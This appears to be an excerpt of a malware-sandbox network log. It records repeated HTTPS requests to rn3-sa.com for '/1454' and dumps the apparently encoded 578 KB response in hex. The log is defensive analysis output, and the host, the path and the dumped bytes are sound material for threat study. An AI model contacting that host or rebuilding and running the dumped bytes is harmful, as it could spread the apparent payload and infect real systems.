                                                                                          2024-11-21 15:32:44 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:32:44 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:32:44 UTC2176INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:32:44 UTC16384INData Raw: b8 d6 d6 b9 ae b4 ac bc ae ae ce ae ae ae ae ac bc af ae d9 cf 2c 0a b0 ae b2 ac ba ae ae ac ba af ae 48 d6 9f b8 ae b4 ac ba af ae ce af ae ae ae 06 ac bc af ae ac ba af ae ac ba ae ae 3c 17 e0 81 8c b1 d4 8c ae d8 af be ae ae ae ae ae ae 0e 0e ae b1 af ae ae af c1 de af ae af ae ae ae af ae ae bf d8 ae ae ae d8 ac b7 ae ae d6 af ae ae b8 d8 ae c1 de b4 ae 0b ae ae ae af ae ae bf ce b0 ae ae ae 3b af ae ae af d3 ce ae ae ae ae ac b8 ae ae d6 df ae ae b4 ac b8 af ae d6 e0 ae ae b4 3a d6 ae ae af 50 d3 ce af ae ae ae 2c 42 b0 ae b2 7e b0 ae ae c9 d6 58 b9 ae b4 50 ce b1 ae ae ae d6 b6 b2 ae b4 ce ae ae ae ae d6 b7 b2 ae b4 d6 e2 ae ae b4 53 b0 ae ae c9 d8 ae ae ae c1 de b7 ae 2a af ae ae c0 ae ae bf d9 c7 ac ba b0 ae f3 b2 ae ae ae f7 ae ae ae 8c ae ae ae
                                                                                          Data Ascii: ,H<;:P,B~XPS*
                                                                                          2024-11-21 15:32:44 UTC16384INData Raw: ae 1d 16 af ae b8 ac b7 ae ae 29 12 ae ae b2 21 a6 ae ae b8 2c 60 b0 ae b2 ac ba af ae d6 da ba ae b4 2c df ae ae b2 d6 07 ba ae b4 e6 0e af ae ae ac b7 ae ae d6 72 ae ae b4 e7 74 ae ae ae ac ba af ae ce b4 ae ae ae d6 18 ae ae b4 ac bc ae ae 2c 73 b0 ae b2 ac ba b0 ae ac b7 ae ae 29 11 ae ae b2 21 a6 ae ae b8 ac ba ae ae d6 16 ba ae b4 2c 73 b0 ae b2 ac ba b0 ae 2c 71 b0 ae b2 ce c2 ae ae ae 2c 5d b0 ae b2 d6 d0 ba ae b4 d6 0c ba ae b4 21 a6 ae ae b8 ac ba ae ae d6 16 ba ae b4 c5 d9 b1 c4 d9 ae e7 11 ac ad ad 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b2 ae e6 88 a9 ad ad ac ba b0 ae ac b7 ae ae 1d 15 af ae b8 ac b7 ae ae 1d 16 af ae b8 ac b7 ae ae 29 12 ae ae b2 21 a6 ae ae b8 2c 60 b0 ae b2 ac ba af ae d6 da ba ae b4 2c df ae ae b2 1d b0 af ae
                                                                                          Data Ascii: )!,`,rt,s)!,s,q,]!,)!,`,
                                                                                          2024-11-21 15:32:44 UTC16384INData Raw: ce af ae ae ae 1d 40 af ae b8 d8 ae c1 de b1 ae de ae ae ae af ae ae bf ac b7 ae ae ce ae ae ae ae d6 e4 af ae b4 ac b7 ae ae 1d dd af ae b4 ce ae ae ae ae 1d 40 af ae b8 ac b7 ae ae 1d dd af ae b4 1d bf b0 ae b8 d8 c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 03 af ae b8 ac b7 ae ae ce b0 ae ae ae 2b 51 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 07 af ae b8 ac b7 ae ae ce af ae ae ae 2b 51 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 18 af ae b8 ac b7 ae ae ce af ae ae ae 2b 51 ae ae b2 ac b7 ae ae d6 0d af ae b8 d8 ae ae ae c1 de b1 ae d3 ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae d6 19 af ae b8 ac b7
                                                                                          Data Ascii: @@+Q+Q+Q
                                                                                          2024-11-21 15:32:44 UTC16331INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 85 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 85 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 83 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 84 ae ae b2 d8 ae ae c1 de b0
                                                                                          Data Ascii: )+)+))))))
                                                                                          2024-11-21 15:32:44 UTC16384INData Raw: d6 90 af ae b4 da cf ac ba ae ae 22 fc ae ae b0 ac b7 af ae ac b7 b0 ae ce af ae ae ae 06 ac b7 b1 ae 1d d8 b0 ae b4 d8 ac b7 b1 ae c2 ff ce ae ae ae ae d8 ac ba b1 ae d8 af be ae ae b0 ae cb ae f9 16 ae c3 ae ae ae ae d8 ac b7 ae ae d6 af ae ae b8 d8 ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b2 af ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b2 af ae b2 d8 ae ae 0c ac b7 ae ae d6 ee ae ae b8 ac b7 ae ae ac b7 af ae 2b b3 af ae b2 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b3 af ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b3 af ae b2 d8 ae ae 1c ac b7 ae ae ac b7 b0 ae d6 f0 ae ae b8 ac b7 ae ae ac b7 af ae 2b ce af ae b2 d8 c1 de b4 ae e3 af ae ae af ae ae bf d9 c7 ac ba ae ae
                                                                                          Data Ascii: "))+)++
                                                                                          2024-11-21 15:32:44 UTC16384INData Raw: ae ae d6 31 b0 ae b4 8b 0a af ae ae ac bc b7 ae ce af ae ae ae ce ae ae ae ae d6 8f b2 ae b4 2c 1c b0 ae b2 ac ba b7 ae d6 d1 b9 ae b4 d6 88 b0 ae b4 ac b7 ae ae ac ba b7 ae 21 e4 b0 ae b4 2b f0 af ae b2 ce ae ae ae ae ac bc b8 ae 2c aa b0 ae b2 2c a9 b0 ae b2 ac ba b7 ae d6 d4 bb ae b4 2c 42 b0 ae b2 7e fe ae ae b0 d6 58 b9 ae b4 d6 d9 bb ae b4 da fb ac ba b7 ae 23 fe ae ae b0 ac bc b9 ae ac ba b9 ae 1d dd b0 ae b4 ce ba ae ae ae dc d0 ac ba b9 ae 1d dd b0 ae b4 ce bd ae ae ae dc c0 ac ba b9 ae 1d dd b0 ae b4 ce bb ae ae ae ac af d9 b3 ce af ae ae ae ac bc b8 ae e6 42 ae ae ae ac ba b7 ae 1d f2 ae ae b8 2c 42 b0 ae b2 7e 03 ae ae af d6 58 b9 ae b4 d6 1d ae ae b8 db 1a 2c aa b0 ae b2 2c a9 b0 ae b2 ac ba b7 ae d6 d4 bb ae b4 2c 42 b0 ae b2 7e 8c ae ae af
                                                                                          Data Ascii: 1,!+,,,B~X#B,B~X,,,B~
                                                                                          2024-11-21 15:32:44 UTC16384INData Raw: ac bc af ae 3f 0e ac bc b9 ae ac ba b9 ae 3b ce ae ae af ac bc ba ae 2c b7 b1 ae b2 ac ba ae ae ac ba af ae ac ba ba ae ce ae ae ae ae ac ba b9 ae d6 1a bb ae b4 ac ba af ae ac ba b9 ae 06 ac bc af ae c5 d9 b1 c4 d9 ae e7 e5 aa ad ad 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc be ae e6 23 a8 ad ad ac ba bd ae 2c b5 b1 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ba ae d6 10 bb ae b4 21 db ae ae b8 2b b9 b0 ae b2 ac ba b2 ae e7 4e ae ae ae ac ba ae ae ac ba af ae d3 ce af ae ae ae 06 ac bc af ae 3f ce b6 ae ae ae 10 ce ae ad ae ae 0d ac bc bb ae ac ba bb ae ac ba ae ae ac ba af ae d3 ce af ae ae ae 06 ac bc af ae 3f 0e ac bc bb ae ac ba bb ae 3b ce ae ae af ac bc bc ae 2c b7 b1 ae b2 ac ba ae ae ac ba af ae ac ba bc ae ce ae ae ae ae ac ba bb ae d6 1a
                                                                                          Data Ascii: ?;,,#,,?I!+N??;,


                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                          10192.168.2.74992266.29.153.238443
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:32:52 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:32:52 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:32:52 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:32:52 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:32:52 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:32:52 UTC16384INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:32:52 UTC16384INData Raw: e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 ac b7 ae ae ac b7 ae ae d6 04 af ae b8 ce af ae ae ae 88 2b 09 ae ae b2 ac b7 ae ae ac b7 ae ae d6 13 af ae b8 ce af ae ae ae 88 2b 0a ae ae b2 21 d9 af ae b8 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b2 ae e6 fe ad ad ad 21 d9 af ae b8 ac bc af ae 21 d9 af ae b8 ac bc b0 ae ce b6 ae ae ae ce b6 ae ae ae ac b7 ae ae 29 09 ae ae b2 ce be ae ae ae 88 ac b7 ae ae 29 0a ae ae b2 ce be ae ae ae 88 21 c9 af ae b8 2c db ae ae b2 ac bc b1 ae 2c 6b b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f3 ba ae b4 2c 6c b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f8 ba ae b4 2c 72 b0 ae b2 ac ba b1 ae ce b3 ae ae ae d6 11 ba ae b4 2c 6d b0 ae b2 ac ba b1 ae ac b7 ae ae 1d 14 af
                                                                                          Data Ascii: .,_,.++!,!!))!,,k,l,r,m
                                                                                          2024-11-21 15:32:53 UTC16384INData Raw: 21 d0 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c7 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac bb b2 ae ac bb b1 ae d6 cd af ae b8 ac bb b1 ae d6 c7 af ae b8 ac bb b1 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac ba b0 ae ac b7 ae ae d6 63 af ae b8 ee b5 b0 ae ae 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4b ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4c ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 ac b7 ae ae d6 64 af ae b8 e7 1c af ae ae ac b7 ae ae d6 64 af ae b8 1d 6a af ae b8 ac b7 ae ae d6 65 af ae b8 ac ba b0 ae 1d 66 af ae b8 1d 68 af ae b8 1d 6b af ae b8 e7 84 ae ae ae 2c 7c b0 ae
                                                                                          Data Ascii: !bb!!c,n)K!,n)L!ddjefhk,|
                                                                                          2024-11-21 15:32:53 UTC16384INData Raw: d6 b3 b9 ae b4 ac bc ae ae e6 fe ad ad ad ac b7 ae ae d6 0d af ae b8 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 82 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 82 ae ae b2 d8 ae ae c1 de b1 ae c7 ae ae ae af ae ae bf 2c 2b b0 ae b2 ac b7 ae ae 1d 2e af ae b4 1d 87 af ae b8 d6 f9 b9 ae b4 d8 ae ae ae c1 de b0 ae bd ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 88 af ae b8 d8 ae c1 de b0 ae c2 ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 86 af ae b8 1d 94 af ae b8 d8 c1 de b3 ae 96 ae ae ae c4 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae f6 ae ae ae 61 ae ae ae 0d ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 ae ae 1d 2e af ae b4 1d 89 af ae b8 1d 98 af ae
                                                                                          Data Ascii: )+,+...a,.
                                                                                          2024-11-21 15:32:53 UTC16384INData Raw: b4 ac bc af ae e6 22 ad ad ad ac ba ae ae ac b7 b2 ae 2b 42 af ae b2 ac b7 ae ae 29 ae af ae b2 ac b7 b0 ae ac b7 b3 ae 1d 4f ae ae b8 c5 d9 b1 c4 d9 ae da 83 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 df ad ad ad ac b7 ae ae ce ae ae ae ae d6 41 b2 ae b4 ce b1 ae ae ae d6 42 b2 ae b4 2c 9d b0 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ae ae 1d 9a b0 ae b4 d6 a7 ba ae b4 d6 c7 b0 ae b4 d4 d8 ae ae ae c9 de b2 ae e3 af ae ae f5 ae ae bf 2c 31 b0 ae b2 ac b7 b0 ae 1d 05 b1 ae b4 ce af ae ae ae d6 43 b2 ae b4 d6 0d b9 ae b4 e7 30 ae ae ae ac b7 b0 ae 1d 07 b1 ae b4 d6 94 b0 ae b4 ac bc ae ae ac ba ae ae da be ac ba ae ae 29 3e af ae b2 ce 76 ae ae ae dc c5 ac b7 ae ae ac ba ae ae 29 3e af ae b2 d6 b5 b0 ae b4 8b 81 ae ae ae ac b7 ae ae 29 ae
                                                                                          Data Ascii: "+B)O,AB,,?I,1C0)>v)>)
                                                                                          2024-11-21 15:32:53 UTC16384INData Raw: ae b4 d3 ac ba b3 ae 1d d8 b1 ae b4 d3 ac b7 b0 ae 1d da b1 ae b4 d3 ce ae ae ae ae 1d de b1 ae b4 ac bc b4 ae ac b7 ae ae 29 fb af ae b2 ac bc af ae ce ae ae ae ae ac bc b0 ae 2c a0 b0 ae b2 ac ba af ae ac bb b0 ae d6 b6 bb ae b4 ac b7 ae ae 29 fb af ae b2 1d 47 ae ae b8 ac b7 ae ae 29 ff af ae b2 1d 7e b0 ae b4 ac b2 ac bc ae ae ac ba ae ae e7 8e ae ae ae ac b7 ae ae 29 fb af ae b2 ac ba b4 ae 1d 46 ae ae b8 ce ce ae ae ae ce b1 ae ae ae d6 84 b2 ae b4 ac b7 af ae d6 88 b0 ae b4 ac b7 af ae 1d 9c b0 ae b4 ce b1 ae ae ae ee 51 ae ae ae ac ba b4 ae 1d d9 b1 ae b4 db fb ac b7 af ae 1d a0 b0 ae b4 ce af ae ae ae dc be ac b7 af ae 1d a0 b0 ae b4 ce b0 ae ae ae e1 db ac b7 ae ae 29 fe af ae b2 da 1b ac b7 ae ae 29 fe af ae b2 1d 8e b0 ae b4 ac ba b4 ae 1d df
                                                                                          Data Ascii: ),)G)~)FQ))
                                                                                          2024-11-21 15:32:53 UTC10368INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b6 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b6 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b7 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b7 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b8 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af
                                                                                          Data Ascii: )+)+)+)+)
                                                                                          2024-11-21 15:32:53 UTC16384INData Raw: d9 ae da 5d 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b7 ae e6 cc ab ad ad ac ba b5 ae ac ba b3 ae 07 ac bc b5 ae ac ba b6 ae ac ba b3 ae 06 ac bc b6 ae ac ba b5 ae ce ae ae ae ae de 34 ac ba b2 ae d8 ae ae c1 de b6 ae 3e ae ae ae af ae ae bf ac b7 ae ae ce b0 ae ae ae d6 ca b3 ae b4 ce b1 ae ae ae 3b af ae ae af d3 ce ae ae ae ae ce b0 ae ae ae d6 cb b3 ae b4 50 d3 ce af ae ae ae ce ae ae ae ae d6 cc b3 ae b4 50 d3 ce b0 ae ae ae ce ae ae ae ae d6 cd b3 ae b4 50 ce b1 ae ae ae 3b af ae ae af d3 ce ae ae ae ae ac b7 ae ae 29 7d af ae b2 3a 07 ae ae af 50 d3 ce af ae ae ae ac b7 ae ae 29 d6 b0 ae b2 50 d3 ce b0 ae ae ae ac b7 ae ae 29 d7 b0 ae b2 50 d6 a9 b0 ae b4 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 d8 b0 ae b2 d8 ae ae c1 de b1
                                                                                          Data Ascii: ],4>;PPP;)}:P)P)P)


                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                          11192.168.2.74993966.29.153.238443
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:33:00 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:33:00 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:33:00 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:33:00 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:33:00 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
